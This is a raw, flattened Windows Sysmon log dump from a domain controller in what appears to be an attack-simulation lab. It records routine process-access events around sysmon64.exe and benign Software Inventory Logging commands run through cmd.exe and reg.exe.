09:10:20.648{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002857Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.648{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002856Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.648{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002855Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.648{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002854Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.648{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002853Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.648{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002852Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.648{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002851Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.648{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002850Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.633{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002849Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.633{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28FC-5F80-8A00-000000007F01}2720C:\Windows\system32\reg.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002848Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.633{A5F018FF-28FC-5F80-8900-000000007F01}28722876C:\Windows\system32\cmd.exe{A5F018FF-28FC-5F80-8A00-000000007F01}2720C:\Windows\system32\reg.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002847Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.646{A5F018FF-28FC-5F80-8A00-000000007F01}2720C:\Windows\System32\reg.exe10.0.14393.0 (rs1_release.160715-1616)Registry Console ToolMicrosoft® Windows® Operating SystemMicrosoft Corporationreg.exeC:\Windows\system32\reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=59A22FA6CF85026BB6BC69A1ADD75C50,SHA256=9E28034CE3AEEA6951F790F8997DF44CFBF80BEFF9FB17413DBA317016A716AD,IMPHASH=EE7EB7FA7D163340753B7223ADA14352{A5F018FF-28FC-5F80-8900-000000007F01}2872C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\system32\reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64 10341000x80000000000000002846Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.633{A5F018FF-28FC-5F80-8800-000000007F01}23562996C:\Windows\system32\conhost.exe{A5F018FF-28FC-5F80-8900-000000007F01}2872C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002845Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.633{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002844Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.633{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002843Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.633{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002842Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.633{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002841Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.633{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002840Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.633{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002839Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.633{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002838Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.633{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002837Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.633{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002836Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.633{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28FC-5F80-8900-000000007F01}2872C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002835Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.633{A5F018FF-28FC-5F80-8700-000000007F01}44844480C:\Windows\system32\cmd.exe{A5F018FF-28FC-5F80-8900-000000007F01}2872C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\msvcrt.dll+4ba7c|C:\Windows\system32\cmd.exe+103c4|C:\Windows\system32\cmd.exe+10910|C:\Windows\system32\cmd.exe+c36d|C:\Windows\system32\cmd.exe+8ad9|C:\Windows\system32\cmd.exe+6fdd|C:\Windows\system32\cmd.exe+11a9e|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002834Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.638{A5F018FF-28FC-5F80-8900-000000007F01}2872C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c C:\Windows\system32\reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28FC-5F80-8700-000000007F01}4484C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /d /c C:\Windows\system32\silcollector.cmd configure 10341000x80000000000000002833Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.024{A5F018FF-28FC-5F80-8800-000000007F01}23562996C:\Windows\system32\conhost.exe{A5F018FF-28FC-5F80-8700-000000007F01}4484C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002832Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.024{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28FC-5F80-8800-000000007F01}2356C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002831Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.024{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 